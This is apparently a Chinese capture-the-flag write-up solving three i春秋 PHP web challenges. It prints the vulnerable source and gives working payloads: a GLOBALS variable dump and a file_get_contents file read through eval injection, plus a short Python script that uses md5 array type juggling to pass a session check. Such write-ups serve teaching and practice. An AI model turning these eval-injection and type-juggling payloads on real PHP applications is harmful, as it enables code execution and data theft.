i春秋Web wp

0x00 爆破-1


include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

这个代码的意义是如果匹配正则/^\w*$/,就打印变量$$a
由于$a在函数中,所以函数之外无法访问。如果要访问,将hello修改为超全局变量GLOBALS
在URL后加?hello=GLOBALS,将参数hello修改为Globals,实际执行代码是:

eval("var_dump($$a);")
eval("var_dump($hello);")
eval("var_dump($GLOBALS);")

$GLOBALS引出全局作用域中可用的全部变量,这样就会打印出当前定义的所有变量,也包括 include 的文件中的变量,flag 也存在在这些变量中。
i春秋Web wp_第1张图片

0x01 爆破-2

 
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

这里没有$$a就没办法对输入的参数进行运用,就要用到PHP里面的file_get_contents函数(file函数也行)。
file_get_contents函数把文件读入一个字符串中,file函数会把注释也显示出来,但是使用file_fet_contents函数时,由于它把flag.php文件作为字符串输出,所以注释语句不会显示出来。
url传入?hello=file_get_contents("flag.php")
i春秋Web wp_第2张图片出来了一个string(83),查看源代码(或者ctrl+u)即可得到flag。

0x02 爆破-3

  
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

因为md5不能对数组进行处理,MD5()计算数组会返回null,里面的判断是用==所以我们用数组传值那么substr(md5($ value),5,4)==0这个条件恒成立 。
因为我刚访问由于这段代码$_SESSION[‘whoami’] = ‘ea’; 我们要先传入?value[0]=e&value[1]=a

那么nums就会自增,$ _SEESION[‘whoami’] = 随机2个字母,并同时输出到页面上,我们再根据输出的字符修改$ value[0].$value[1]的值即可,只要操作大于等于10次,就可以出flag 。
上脚本,

import requests
url='http://7cd40fdf90e44b9195dec255dc8f703b468d145b463c4524.changame.ichunqiu.com/'
session=requests.Session()
html=session.get(url+'?value[]=ea').text
for i in range(10):
    html=session.get(url+'?value[]='+ html[0:2]).text
print(html)

跑出来就有flag。

你可能感兴趣的:(CTF)